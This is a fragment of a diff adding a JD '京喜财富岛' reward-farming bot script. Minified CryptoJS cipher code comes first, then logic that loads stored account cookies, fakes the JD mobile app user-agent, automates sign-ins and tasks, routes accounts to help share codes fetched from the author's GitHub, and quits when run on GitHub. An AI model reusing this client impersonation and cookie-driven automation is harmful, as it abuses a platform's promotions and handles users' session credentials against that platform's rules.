+ 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}; +let nowTimes; +const randomCount = $.isNode() ? 20 : 3; +$.appId = 10032; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + } + $.strMyShareIds = [...(res && res.shareId || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) + await $.wait(2000) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + // 寻宝 + console.log(`寻宝`) + let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0) + if (XBDetail.length !== 0) { + console.log(`开始寻宝`) + $.break = false + for (let key of Object.keys(XBDetail)) { + let vo = XBDetail[key] + await $.wait(2000) + await TreasureHunt(vo.strIndex) + if ($.break) break + } + } else { + console.log(`暂无宝物`) + } + + //每日签到 + await $.wait(2000) + await getTakeAggrPage('sign') + + //小程序每日签到 + await $.wait(2000) + await getTakeAggrPage('wxsign') + + //使用道具 + if (new Date().getHours() < 22){ + await $.wait(2000) + await GetPropCardCenterInfo() + } + + //助力奖励 + await $.wait(2000) + await getTakeAggrPage('helpdraw') + + 